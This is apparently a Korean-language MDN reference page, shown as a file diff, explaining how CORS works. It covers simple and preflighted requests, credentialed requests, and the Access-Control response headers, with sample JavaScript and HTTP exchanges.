+title: 교차 출처 리소스 공유 (CORS)
+slug: Web/HTTP/CORS
+tags:
+  - CORS
+  - HTTP
+  - Same-origin policy
+  - Security
+  - 'l10n:priority'
+  - 교차 출처
+  - 동일 출처
+translation_of: Web/HTTP/CORS
+---
+<div>이에 대한 응답으로 서버는 Access-Control-Allow-Origin 헤더를 다시 보냅니다.{{HTTPSidebar}}</div>
+
+<p><strong>교차 출처 리소스 공유</strong>(Cross-Origin Resource Sharing, {{Glossary("CORS")}})는 추가 {{Glossary("HTTP")}} 헤더를 사용하여, 한 {{glossary("origin", "출처")}}에서 실행 중인 웹 애플리케이션이 다른 출처의 선택한 자원에 접근할 수 있는 권한을 부여하도록 브라우저에 알려주는 체제입니다. 웹 애플리케이션은 리소스가 자신의 출처(도메인, 프로토콜, 포트)와 다를 때 교차 출처 HTTP 요청을 실행합니다.</p>
+
+<p>교차 출처 요청의 예시: <code>https://domain-a.com</code>의 프론트 엔드 JavaScript 코드가 {{domxref("XMLHttpRequest")}}를 사용하여 <code>https://domain-b.com/data.json</code>을 요청하는 경우.</p>
+
+<p>보안 상의 이유로, 브라우저는 스크립트에서 시작한 교차 출처 HTTP 요청을 제한합니다. 예를 들어, <code>XMLHttpRequest</code>와 <a href="/ko/docs/Web/API/Fetch_API">Fetch API</a>는 <a href="/ko/docs/Web/Security/Same-origin_policy">동일 출처 정책</a>을 따릅니다. 즉, 이 API를 사용하는 웹 애플리케이션은 자신의 출처와 동일한 리소스만 불러올 수 있으며, 다른 출처의 리소스를 불러오려면 그 출처에서 올바른 CORS 헤더를 포함한 응답을 반환해야 합니다.<img src="https://mdn.mozillademos.org/files/14295/CORS_principle.png"></p>
+
+<p>CORS 체제는 브라우저와 서버 간의 안전한 교차 출처 요청 및 데이터 전송을 지원합니다. 최신 브라우저는 <code>XMLHttpRequest</code> 또는 <a href="/ko/docs/Web/API/Fetch_API">Fetch</a>와 같은 API에서 CORS를 사용하여 교차 출처 HTTP 요청의 위험을 완화합니다.</p>
+
+<h2 id="이_글은_누가_읽어야_하나요">이 글은 누가 읽어야 하나요?</h2>
+
+<p>모든 사람이요, 진짜로.</p>
+
+<p>명확히 말하자면, 이 글은 <strong>웹 관리자</strong>, <strong>서버 개발자 </strong>그리고 <strong>프론트엔드 개발자</strong>를 위한 것입니다. 최신 브라우저는 헤더와 정책 집행을 포함한 클라이언트 측 교차 출처 공유를 처리합니다. 그러나 CORS 표준에 맞춘다는 것은 서버에서도 새로운 요청과 응답 헤더를 처리해야 한다는 것입니다. 서버 개발자에게는 <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">(PHP 코드 조각과 함께 하는) 서버 관점의 교차 출처 공유</a>를 다루고 있는 다른 글로 보충하면 도움이 될 것입니다.</p>
+
+<h2 id="어떤_요청이_CORS를_사용하나요">어떤 요청이 CORS를 사용하나요?</h2>
+
+<p><a href="https://fetch.spec.whatwg.org/#http-cors-protocol">교차 출처 공유 표준</a>은 다음과 같은 경우에 사이트간 HTTP 요청을 허용합니다.</p>
+
+<ul>
+ <li>위에서 논의한 바와 같이, {{domxref("XMLHttpRequest")}}와 <a href="/ko/docs/Web/API/Fetch_API">Fetch API</a> 호출.</li>
+ <li>웹 폰트(CSS 내 <code>@font-face</code>에서 교차 도메인 폰트 사용 시), <a href="https://www.w3.org/TR/css-fonts-3/#font-fetching-requirements">so that servers can deploy TrueType fonts that can only be cross-site loaded and used by web sites that are permitted to do so.</a></li>
+ <li><a href="/ko/docs/Web/API/WebGL_API/Tutorial/Using_textures_in_WebGL">WebGL 텍스쳐</a>.</li>
+ <li>{{domxref("CanvasRenderingContext2D.drawImage()", "drawImage()")}}를 사용해 캔버스에 그린 이미지/비디오 프레임.</li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Shapes/Shapes_From_Images">이미지로부터 추출하는 CSS Shapes.</a></li>
+</ul>
+
+<p>이 글은 교차 출처 리소스 공유에 대한 일반적인 논의이며 필요한 HTTP 헤더에 대한 내용도 포함하고 있습니다.</p>
+
+<h2 id="기능적_개요">기능적 개요</h2>
+
+<p>교차 출처 리소스 공유 표준은 웹 브라우저에서 해당 정보를 읽는 것이 허용된 출처를 서버에서 설명할 수 있는 새로운 <a href="/ko/docs/Web/HTTP/Headers">HTTP 헤더</a>를 추가함으로써 동작합니다. 추가적으로, 서버 데이터에 부수 효과(side effect)를 일으킬 수 있는 HTTP 요청 메서드({{HTTPMethod("GET")}}을 제외한 HTTP 메서드)에 대해, CORS 명세는 브라우저가 요청을 {{HTTPMethod("OPTIONS")}} 메서드로 "프리플라이트"(preflight, 사전 전달)하여 지원하는 메서드를 요청하고, 서버의 "허가"가 떨어지면 실제 요청을 보내도록 요구하고 있습니다. 또한 서버는 클라이언트에게 요청에 "인증정보"(<a href="/ko/docs/Web/HTTP/Cookies">쿠키</a>, <a href="/ko/docs/Web/HTTP/Authentication">HTTP 인증</a>)를 함께 보내야 한다고 알려줄 수도 있습니다.</p>
+
+<p>CORS 실패는 오류의 원인이지만, 보안상의 이유로 JavaScript에서는 오류의 상세 정보에 접근할 수 없으며, 알 수 있는 것은 오류가 발생했다는 사실 뿐입니다. 정확히 어떤 것이 실패했는지 알아내려면 브라우저의 콘솔을 봐야 합니다.</p>
+
+<p>이후 항목에서는 시나리오와 함께, 사용한 HTTP 헤더의 상세 내용을 다룹니다.</p>
+
+<h2 id="접근_제어_시나리오_예제">접근 제어 시나리오 예제</h2>
+
+<p>교차 출처 리소스 공유가 동작하는 방식을 보여주는 세 가지 시나리오를 제시하겠습니다. 모든 예제는 지원하는 브라우저에서 교차 출처 요청을 생성할 수 있는 {{domxref("XMLHttpRequest")}}를 사용합니다.</p>
+
+<p>서버 관점의 교차 출처 리소스 공유에 대한 논의는 (PHP 코드와 함께 하는) <a href="/en-US/docs/Web/HTTP/Server-Side_Access_Control">서버 사이드 접근 제어 (CORS)</a> 문서에서 확인할 수 있습니다.</p>
+
+<h3 id="단순_요청Simple_requests">단순 요청(Simple requests)</h3>
+
+<p>일부요청은 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Preflighted_requests">CORS preflight</a> 를 트리거하지 않습니다. {{SpecName ( 'Fetch')}} 명세(CORS를 정의한)는 이 용어를 사용하지 않지만, 이 기사에서는 "simple requests"라고 하겠습니다. "simple requests"는 <strong>다음 조건을 모두 충족하는 요청입니다:</strong></p>
+
+<ul>
+ <li>다음 중 하나의 메서드
+  <ul>
+   <li>{{HTTPMethod("GET")}}</li>
+   <li>{{HTTPMethod("HEAD")}}</li>
+   <li>{{HTTPMethod("POST")}}</li>
+  </ul>
+ </li>
+ <li>유저 에이전트가 자동으로 설정 한 헤더 (예를들어, {{HTTPHeader("Connection")}}, {{HTTPHeader("User-Agent")}}, <a href="https://fetch.spec.whatwg.org/#forbidden-header-name">Fetch 명세에서 “forbidden header name”으로 정의한 헤더</a>)외에, 수동으로 설정할 수 있는 헤더는 오직 <a href="https://fetch.spec.whatwg.org/#cors-safelisted-request-header">Fetch 명세에서 “CORS-safelisted request-header”로 정의한 헤더</a> 뿐입니다.
+  <ul>
+   <li>{{HTTPHeader("Accept")}}</li>
+   <li>{{HTTPHeader("Accept-Language")}}</li>
+   <li>{{HTTPHeader("Content-Language")}}</li>
+   <li>{{HTTPHeader("Content-Type")}} (아래의 추가 요구 사항에 유의하세요.)</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#dpr">DPR</a></code></li>
+   <li>{{HTTPHeader("Downlink")}}</li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#save-data">Save-Data</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#viewport-width">Viewport-Width</a></code></li>
+   <li><code><a href="http://httpwg.org/http-extensions/client-hints.html#width">Width</a></code></li>
+  </ul>
+ </li>
+ <li>{{HTTPHeader("Content-Type")}} 헤더는 다음의 값들만 허용됩니다.
+  <ul>
+   <li><code>application/x-www-form-urlencoded</code></li>
+   <li><code>multipart/form-data</code></li>
+   <li><code>text/plain</code></li>
+  </ul>
+ </li>
+ <li>요청에 사용된 {{domxref("XMLHttpRequestUpload")}} 객체에는 이벤트 리스너가 등록되어 있지 않습니다. 이들은 {{domxref("XMLHttpRequest.upload")}} 프로퍼티를 사용하여 접근합니다..</li>
+ <li>요청에 {{domxref("ReadableStream")}} 객체가 사용되지 않습니다.</li>
+</ul>
+
+<div class="note"><strong>참고:</strong> 이는 웹 컨텐츠가 이미 발행할 수 있는 것과 동일한 종류의 cross-site 요청입니다. 서버가 적절한 헤더를 전송하지 않으면 요청자에게 응답 데이터가 공개되지 않습니다. 따라서 cross-site 요청 위조를 방지하는 사이트는 HTTP 접근 제어를 두려워 할 만한 부분이 없습니다.</div>
+
+<div class="note">
+<p><strong>주의:</strong> WebKit Nightly 와 Safari Technology Preview 는 {{HTTPHeader("Accept")}}, {{HTTPHeader("Accept-Language")}}, {{HTTPHeader("Content-Language")}} 헤더에서 허용되는 값에 대한 추가 제약이 있습니다. 이러한 헤더 중 하나에 ”nonstandard” 값이 존재하면, WebKit/Safari 는 더이상 요청을 “simple request”로 간주하지 않습니다. 다음 Webkit 버그 외에 WebKit/Safari 가  “nonstandard” 으로 간주하는 값은 문서화되어 있지 않습니다.</p>
+
+<ul>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=165178" rel="nofollow noreferrer">Require preflight for non-standard CORS-safelisted request headers Accept, Accept-Language, and Content-Language</a></li>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=165566" rel="nofollow noreferrer">Allow commas in Accept, Accept-Language, and Content-Language request headers for simple CORS</a></li>
+ <li><a href="https://bugs.webkit.org/show_bug.cgi?id=166363" rel="nofollow noreferrer">Switch to a blacklist model for restricted Accept headers in simple CORS requests</a></li>
+</ul>
+
+<p>이 부분은 명세가 아니기 때문에 다른 브라우저에는 이러한 추가 제한 사항이 없습니다.</p>
+</div>
+
+<p>예를들어, <code>https://foo.example</code> 의 웹 컨텐츠가  <code>https://bar.other</code> 도메인의 컨텐츠를 호출하길 원합니다. <code>foo.example</code>에 배포된 자바스크립트에는 아래와 같은 코드가 사용될 수 있습니다.</p>
+
+<pre id="line1"><code>const xhr = new XMLHttpRequest();
+const url = 'https://bar.other/resources/public-data/';
+
+xhr.open('GET', url);
+xhr.onreadystatechange = someHandler;
+xhr.send();</code></pre>
+
+<p>클라이언트와 서버간에 간단한 통신을 하고, CORS 헤더를 사용하여 권한을 처리합니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/17214/simple-req-updated.png" style="height: 490px; width: 1023px;"></p>
+
+<p>이 경우 브라우저가 서버로 전송하는 내용을 살펴보고, 서버의 응답을 확인합니다.</p>
+
+<pre><code>GET /resources/public-data/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+<strong>Origin: https://foo.example</strong></code></pre>
+
+<p>요청 헤더의 {{HTTPHeader("Origin")}}을 보면, <code>https://foo.example</code>로부터 요청이 왔다는 것을 알 수 있습니다.</p>
+
+<pre><code>HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 00:23:53 GMT
+Server: Apache/2
+<strong>Access-Control-Allow-Origin: *</strong>
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Transfer-Encoding: chunked
+Content-Type: application/xml
+
+[…XML Data…]</code></pre>
+
+<p>서버는 이에 대한 응답으로 {{HTTPHeader("Access-Control-Allow-Origin")}} 헤더를 다시 전송합니다. 가장 간단한 접근 제어 프로토콜은 {{HTTPHeader("Origin")}} 헤더와 {{HTTPHeader("Access-Control-Allow-Origin")}} 을 사용하는 것입니다. 이 경우 서버는 <code>Access-Control-Allow-Origin: *</code>, 으로 응답해야 하며, 이는 <strong>모든</strong> 도메인에서 접근할 수 있음을 의미합니다. <code>https://bar.other</code> 의 리소스 소유자가 <em>오직</em> <code>https://foo.example</code> 의 요청만 리소스에 대한 접근을 허용하려는 경우 다음을 전송합니다.</p>
+
+<pre><code>Access-Control-Allow-Origin: https://foo.example</code></pre>
+
+<p>이제 <code>https://foo.example</code> 이외의 도메인은 corss-site 방식으로 리소스에 접근할 수 없습니다. 리소스에 대한 접근을 허용하려면, <code>Access-Control-Allow-Origin</code> 헤더에는 요청의 <code>Origin</code> 헤더에서 전송된 값이 포함되어야 합니다.</p>
+
+<h3 id="프리플라이트_요청">프리플라이트 요청</h3>
+
+<p>"preflighted" request는 위에서 논의한 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">“simple requests”</a> 와는 달리, 먼저 {{HTTPMethod("OPTIONS")}} 메서드를 통해 다른 도메인의 리소스로 HTTP 요청을 보내 실제 요청이 전송하기에 안전한지 확인합니다. Cross-site 요청은 유저 데이터에 영향을 줄 수 있기 때문에 이와같이 미리 전송(preflighted)합니다.</p>
+
+<p>다음은 preflighted 할 요청의 예제입니다.</p>
+
+<pre id="line1"><code>const xhr = new XMLHttpRequest();
+xhr.open('POST', 'https://bar.other/resources/post-here/');
+xhr.setRequestHeader('Ping-Other', 'pingpong');
+xhr.setRequestHeader('Content-Type', 'application/xml');
+xhr.onreadystatechange = handler;
+xhr.send('&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;');</code></pre>
+
+<p>위의 예제는 <code>POST</code> 요청과 함께 함께 보낼 XML body를 만듭니다. 또한 비표준 HTTP <code>Ping-Other</code> 요청 헤더가 설정됩니다. 이러한 헤더는 HTTP/1.1의 일부가 아니지만 일반적으로 웹 응용 프로그램에 유용합니다. Content-Type 이 <code>application/xml</code>이고, 사용자 정의 헤더가 설정되었기 때문에 이 요청은 preflighted 처리됩니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/16753/preflight_correct.png"></p>
+
+<p>(참고: 아래 설명 된 것처럼 실제 <code>POST</code> 요청에는 <code>Access-Control-Request-*</code> 헤더가 포함되지 않습니다. <code>OPTIONS</code> 요청에만 필요합니다.)</p>
+
+<p>클라이언트와 서버간의 완전한 통신을 살펴보겠습니다. 첫 번째 통신은 <em>preflight request/response</em>입니다.</p>
+
+<pre><code>OPTIONS /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+Origin: http://foo.example
+Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type
+
+
+HTTP/1.1 204 No Content
+Date: Mon, 01 Dec 2008 01:15:39 GMT
+Server: Apache/2
+Access-Control-Allow-Origin: https://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400
+Vary: Accept-Encoding, Origin
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive</code></pre>
+
+<p>preflight request가 완료되면 실제 요청을 전송합니다.</p>
+
+<pre><code>POST /resources/post-here/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+X-PINGOTHER: pingpong
+Content-Type: text/xml; charset=UTF-8
+Referer: https://foo.example/examples/preflightInvocation.html
+Content-Length: 55
+Origin: https://foo.example
+Pragma: no-cache
+Cache-Control: no-cache
+
+&lt;person&gt;&lt;name&gt;Arun&lt;/name&gt;&lt;/person&gt;
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:15:40 GMT
+Server: Apache/2
+Access-Control-Allow-Origin: https://foo.example
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 235
+Keep-Alive: timeout=2, max=99
+Connection: Keep-Alive
+Content-Type: text/plain
+
+[Some GZIP'd payload]</code></pre>
+
+<p>첫 번째 예제의 1 - 10 행은 {{HTTPMethod("OPTIONS")}} 메서드를 사용한 preflight request를 나타냅니다. 브라우저는 위의 자바스크립트 코드 스니펫이 사용중인 요청 파라미터를 기반으로 전송해야 합니다. 그렇게 해야 서버가 실제 요청 파라미터로 요청을 보낼 수 있는지 여부에 응답할 수 있습니다. OPTIONS는 서버에서 추가 정보를 판별하는데 사용하는 HTTP/1.1 메서드입니다. 또한 {{Glossary("safe")}} 메서드이기 때문에, 리소스를 변경하는데 사용할 수 없습니다. OPTIONS 요청과 함께 두 개의 다른 요청 헤더가 전송됩니다. (10, 11행)</p>
+
+<pre><code>Access-Control-Request-Method: POST
+Access-Control-Request-Headers: X-PINGOTHER, Content-Type</code></pre>
+
+<p>{{HTTPHeader("Access-Control-Request-Method")}} 헤더는 preflight request의 일부로, 실제 요청을 전송할 때 <code>POST</code> 메서드로 전송된다는 것을 알려줍니다. {{HTTPHeader("Access-Control-Request-Headers")}} 헤더는 실제 요청을 전송 할 때 <code>X-PINGOTHER</code> 와 <code>Content-Type</code> 사용자 정의 헤더와 함께 전송된다는 것을 서버에 알려줍니다. 이제 서버는 이러한 상황에서 요청을 수락할지 결정할 수 있습니다.</p>
+
+<p>위의 13 - 22 행은 서버가 요청 메서드와 (<code>POST</code>) 요청 헤더를 (<code>X-PINGOTHER</code>) 받을 수 있음을 나타내는 응답입니다. 특히 16 - 19행을 살펴보겠습니다.</p>
+
+<pre><code>Access-Control-Allow-Origin: http://foo.example
+Access-Control-Allow-Methods: POST, GET, OPTIONS
+Access-Control-Allow-Headers: X-PINGOTHER, Content-Type
+Access-Control-Max-Age: 86400</code></pre>
+
+<p>서버는 <code>Access-Control-Allow-Methods</code> 로 응답하고 <code>POST</code> 와 <code>GET</code> 이 리소스를 쿼리하는데 유용한 메서드라고 가르쳐줍니다. 이 헤더는 {{HTTPHeader("Allow")}} 응답 헤더와 유사하지만, 접근 제어 컨텍스트 내에서 엄격하게 사용됩니다.</p>
+
+<p>또한 <code>Access-Control-Allow-Headers</code> 의 값을 "<code>X-PINGOTHER, Content-Type</code>" 으로 전송하여 실제 요청에 헤더를 사용할 수 있음을 확인합니다. <code>Access-Control-Allow-Methods</code>와 마찬가지로 <code>Access-Control-Allow-Headers</code> 는 쉼표로 구분된 허용 가능한 헤더 목록입니다.</p>
+
+<p>마지막으로{{HTTPHeader("Access-Control-Max-Age")}}는 다른 preflight request를 보내지 않고, preflight request에 대한 응답을 캐시할 수 있는 시간(초)을 제공합니다. 위의 코드는 86400 초(24시간) 입니다. 각 브라우저의 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Access-Control-Max-Age">최대 캐싱 시간 </a>은 <code>Access-Control-Max-Age</code> 가 클수록 우선순위가 높습니다.</p>
+
+<h4 id="Preflighted_requests_와_리다이렉트">Preflighted requests 와 리다이렉트</h4>
+
+<p>모든 브라우저가 preflighted request 후 리다이렉트를 지원하지는 않습니다. preflighted request 후 리다이렉트가 발생하면 일부 브라우저는 다음과 같은 오류 메시지를 띄웁니다.</p>
+
+<blockquote>
+<p>요청이 'https://example.com/foo'로 리다이렉트 되었으며, preflight가 필요한 cross-origin 요청은 허용되지 않습니다.</p>
+</blockquote>
+
+<blockquote>
+<p>요청에 preflight가 필요합니다. preflight는 cross-origin 리다이렉트를 허용하지 않습니다.</p>
+</blockquote>
+
+<p>CORS 프로토콜은 본래 그 동작(리다이렉트)이 필요했지만, <a href="https://github.com/whatwg/fetch/commit/0d9a4db8bc02251cc9e391543bb3c1322fb882f2">이후 더 이상 필요하지 않도록 변경되었습니다</a>. 그러나 모든 브라우저가 변경 사항을 구현하지는 않았기 때문에, 본래의 필요한 동작은 여전히 나타납니다.</p>
+
+<p>브라우저가 명세를 따라잡을 때 까지 다음 중 하나 혹은 둘 다를 수행하여 이 제한을 해결할 수 있습니다.</p>
+
+<ul>
+ <li>preflight 리다이렉트를 방지하기 위해 서버측 동작을 변경</li>
+ <li>preflight를 발생시키지 않는 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">simple request</a> 가 되도록 요청을 변경</li>
+</ul>
+
+<p>이것이 가능하지 않은 경우 다른 방법도 있습니다.</p>
+
+<ol>
+ <li>Fetch API를 통해 {{domxref("Response.url")}} 이나 {{domxref("XMLHttpRequest.responseURL")}}를 사용하여 <a href="https://wiki.developer.mozilla.org/ko/docs/Web/HTTP/Access_control_CORS$edit#Simple_requests">simple request</a> 를 작성합니다. 이 simple request를 이용하여 실제 preflighted request가 끝나는 URL을 판별하세요.</li>
+ <li>첫 번째 단계에서 <code>Response.url</code> 혹은 <code>XMLHttpRequest.responseURL</code> 로부터 얻은 URL을 사용하여 또 다른 요청(실제 요청)을 만듭니다.</li>
+</ol>
+
+<p>그러나 요청에 <code>Authorization</code> 헤더가 있기 때문에 preflight를 트리거하는 요청일 경우에, 위의 단계를 사용하여 제한을 제거할 수 없습니다. 또한 요청이 있는 서버를 제어하지 않으면 문제를 해결할 수 없습니다.</p>
+
+<h3 id="인증정보를_포함한_요청">인증정보를 포함한 요청</h3>
+
+<p>{{domxref("XMLHttpRequest")}} 혹은 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 를 사용할 때 CORS 에 의해 드러나는 가장 흥미로운 기능은 "credentialed" requests 입니다. credentialed requests는 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/HTTP/Cookies">HTTP cookies</a> 와 HTTP Authentication 정보를 인식합니다. 기본적으로 cross-site <code>XMLHttpRequest</code> 나 <a href="https://wiki.developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch</a> 호출에서 브라우저는 자격 증명을 보내지 <strong>않습니다.</strong> <code>XMLHttpRequest</code> 객체나 {{domxref("Request")}} 생성자가 호출될 때 특정 플래그를 설정해야 합니다.</p>
+
+<p>이 예제에서 원래 <code>http://foo.example</code> 에서 불러온 컨텐츠는 쿠키를 설정하는 <code>http://bar.other</code> 리소스에 simple GET request를 작성합니다. foo.example의 내용은 다음과 같은 자바스크립트를 포함할 수 있습니다.</p>
+
+<pre id="line1"><code>const invocation = new XMLHttpRequest();
+const url = 'http://bar.other/resources/credentialed-content/';
+
+function callOtherDomain() {
+  if (invocation) {
+    invocation.open('GET', url, true);
+    invocation.withCredentials = true;
+    invocation.onreadystatechange = handler;
+    invocation.send();
+  }
+}</code></pre>
+
+<p>7행은 쿠키와 함께 호출하기위한 {{domxref("XMLHttpRequest")}} 의 플래그를 보여줍니다. 이 플래그는 <code>withCredentials</code> 라고 불리며 부울 값을 갖습니다. 기본적으로 호출은 쿠키 없이 이루어집니다. 이것은 simple <code>GET</code> request이기 때문에 preflighted 되지 않습니다. 그러나 브라우저는 {{HTTPHeader("Access-Control-Allow-Credentials")}}: <code>true</code> 헤더가 없는 응답을 <strong>거부합니다</strong>.<strong> </strong>따라서 호출된 웹 컨텐츠에 응답을 제공하지 <strong>않습니다</strong>.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/17213/cred-req-updated.png" style="height: 490px; width: 1023px;"></p>
+
+<p>클라이언트와 서버간의 통신 예제는 다음과 같습니다.</p>
+
+<pre><code>GET /resources/credentialed-content/ HTTP/1.1
+Host: bar.other
+User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0
+Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+Accept-Language: en-us,en;q=0.5
+Accept-Encoding: gzip,deflate
+Connection: keep-alive
+Referer: http://foo.example/examples/credential.html
+Origin: http://foo.example
+Cookie: pageAccess=2
+
+
+HTTP/1.1 200 OK
+Date: Mon, 01 Dec 2008 01:34:52 GMT
+Server: Apache/2
+Access-Control-Allow-Origin: https://foo.example
+Access-Control-Allow-Credentials: true
+Cache-Control: no-cache
+Pragma: no-cache
+Set-Cookie: pageAccess=3; expires=Wed, 31-Dec-2008 01:34:53 GMT
+Vary: Accept-Encoding, Origin
+Content-Encoding: gzip
+Content-Length: 106
+Keep-Alive: timeout=2, max=100
+Connection: Keep-Alive
+Content-Type: text/plain
+
+
+[text/plain payload]</code></pre>
+
+<p>10행에는 <code>http://bar.other</code>의 컨텐츠를 대상으로 하는 쿠키가 포함되어 있습니다. 하지만 17행의 {{HTTPHeader("Access-Control-Allow-Credentials")}}: <code>true</code> 로 응답하지 않으면, 응답은 무시되고 웹 컨텐츠는 제공되지 않습니다.</p>
+
+<h4 id="자격증명_요청_및_와일드카드Credentialed_requests_and_wildcards">자격증명 요청 및 와일드카드(Credentialed requests and wildcards)</h4>
+
+<p>credentialed request 에 응답할 때 서버는 <code>Access-Control-Allow-Origin</code> 헤더 "<code>*</code>" 와일드카드를 사용하는 대신에 <strong>반드시</strong> 에 값을 지정해야 합니다.</p>
+
+<p>위 예제의 요청 헤더에 <code>Cookie</code> 헤더가 포함되어 있기 때문에 <code>Access-Control-Allow-Origin</code> 헤더의 값이 "*"인 경우 요청이 실패합니다. 위 요청은 <code>Access-Control-Allow-Origin</code> 헤더가 "<code>*</code>" 와일드 카드가 아니라 "<code>http://foo.example</code>" 본래 주소이기 때문에 자격증명 인식 컨텐츠는 웹 호출 컨텐츠로 리턴됩니다.</p>
+
+<p>위 예제의 <code>Set-Cookie</code> 응답 헤더는 추가 쿠키를 설정합니다. 실패한 경우 사용한 API에 따라 예외가 발생합니다.</p>
+
+<h4 id="Third-party_cookies">Third-party cookies</h4>
+
+<p>CORS 응답에 설정된 쿠키에는 일반적인 third-party cookie 정책이 적용됩니다. 위의 예제는 <code>foo.example</code>에서 페이지를 불러지만 20행의 쿠키는 <code>bar.other</code> 가 전송합니다. 때문에 사용자의 브라우저 설정이 모든 third-party cookies를 거부하도록 되어 있다면, 이 쿠키는 저장되지 않습니다.</p>
+
+<h2 id="HTTP_응답_헤더">HTTP 응답 헤더</h2>
+
+<p>이 섹션에서는 Cross-Origin 리소스 공유 명세에 정의된 대로 서버가 접근 제어 요청을 위해 보내는 HTTP 응답 헤더가 나열되어 있습니다. The previous section gives an overview of these in action.</p>
+
+<h3 id="Access-Control-Allow-Origin">Access-Control-Allow-Origin</h3>
+
+<p>리턴된 리소스에는 다음 구문과 함께 하나의 {{HTTPHeader("Access-Control-Allow-Origin")}} 헤더가 있을 수 있습니다.</p>
+
+<pre><code>Access-Control-Allow-Origin: &lt;origin&gt; | *</code></pre>
+
+<p><code>Access-Control-Allow-Origin</code> 은 단일 출처를 지정하여 브라우저가 해당 출처가 리소스에 접근하도록 허용합니다. 또는 자격 증명이 <strong>없는</strong> 요청의 경우 "<code>*</code>" 와일드 카드는 브라우저의 origin에 상관없이 모든 리소스에 접근하도록 허용합니다.</p>
+
+<p>예를들어 <code>https://mozilla.org</code> 의 코드가 리소스에 접근 할 수 있도록 하려면 다음과 같이 지정할 수 있습니다.</p>
+
+<pre><code>Access-Control-Allow-Origin: https://mozilla.org</code></pre>
+
+<p>서버가 "<code>*</code>" 와일드카드 대신에 하나의 origin을 지정하는 경우, 서버는 {{HTTPHeader("Vary")}} 응답 헤더에 <code>Origin</code> 을 포함해야 합니다. 이 origin은 화이트 리스트의 일부로 요청 orgin에 따라 동적으로 변경될 수 있습니다. 서버 응답이 {{HTTPHeader("Origin")}} 요청 헤더에 따라 다르다는것을 클라이언트에 알려줍니다.</p>
+
+<h3 id="Access-Control-Expose-Headers">Access-Control-Expose-Headers</h3>
+
+<p>{{HTTPHeader("Access-Control-Expose-Headers")}} 헤더를 사용하면 브라우저가 접근할 수 있는 헤더를 서버의 화이트리스트에 추가할 수 있습니다.</p>
+
+<pre><code>Access-Control-Expose-Headers: &lt;header-name&gt;[, &lt;header-name&gt;]*</code></pre>
+
+<p>예를들면 다음과 같습니다.</p>
+
+<pre><code>Access-Control-Expose-Headers: X-My-Custom-Header, X-Another-Custom-Header</code></pre>
+
+<p><code>X-My-Custom-Header</code> 와 <code>X-Another-Custom-Header</code> 헤더가 브라우저에 드러납니다.</p>
+
+<h3 id="Access-Control-Max-Age">Access-Control-Max-Age</h3>
+
+<p>{{HTTPHeader("Access-Control-Max-Age")}} 헤더는 preflight request 요청 결과를 캐시할 수 있는 시간을 나타냅니다. preflight request 예제는 위를 참조하세요.</p>
+
+<pre><code>Access-Control-Max-Age: &lt;delta-seconds&gt;</code></pre>
+
+<p><code>delta-seconds</code> 파라미터는 결과를 캐시할 수 있는 시간(초)를 나타냅니다.</p>
+
+<h3 id="Access-Control-Allow-Credentials">Access-Control-Allow-Credentials</h3>
+
+<p>{{HTTPHeader("Access-Control-Allow-Credentials")}} 헤더는 <code>credentials</code> 플래그가 true일 때 요청에 대한 응답을 표시할 수 있는지를 나타냅니다. preflight request에 대한 응답의 일부로 사용하는 경우, credentials을 사용하여 실제 요청을 수행할 수 있는지를 나타냅니다. simple <code>GET</code> requests는 preflighted되지 않으므로 credentials이 있는 리소스를 요청하면, 이 헤더가 리소스와 함께 반환되지 않습니다. 이 헤더가 없으면 브라우저에서 응답을 무시하고 웹 컨텐츠로 반환되지 않는다는 점을 주의하세요.</p>
+
+<pre><code>Access-Control-Allow-Credentials: true</code></pre>
+
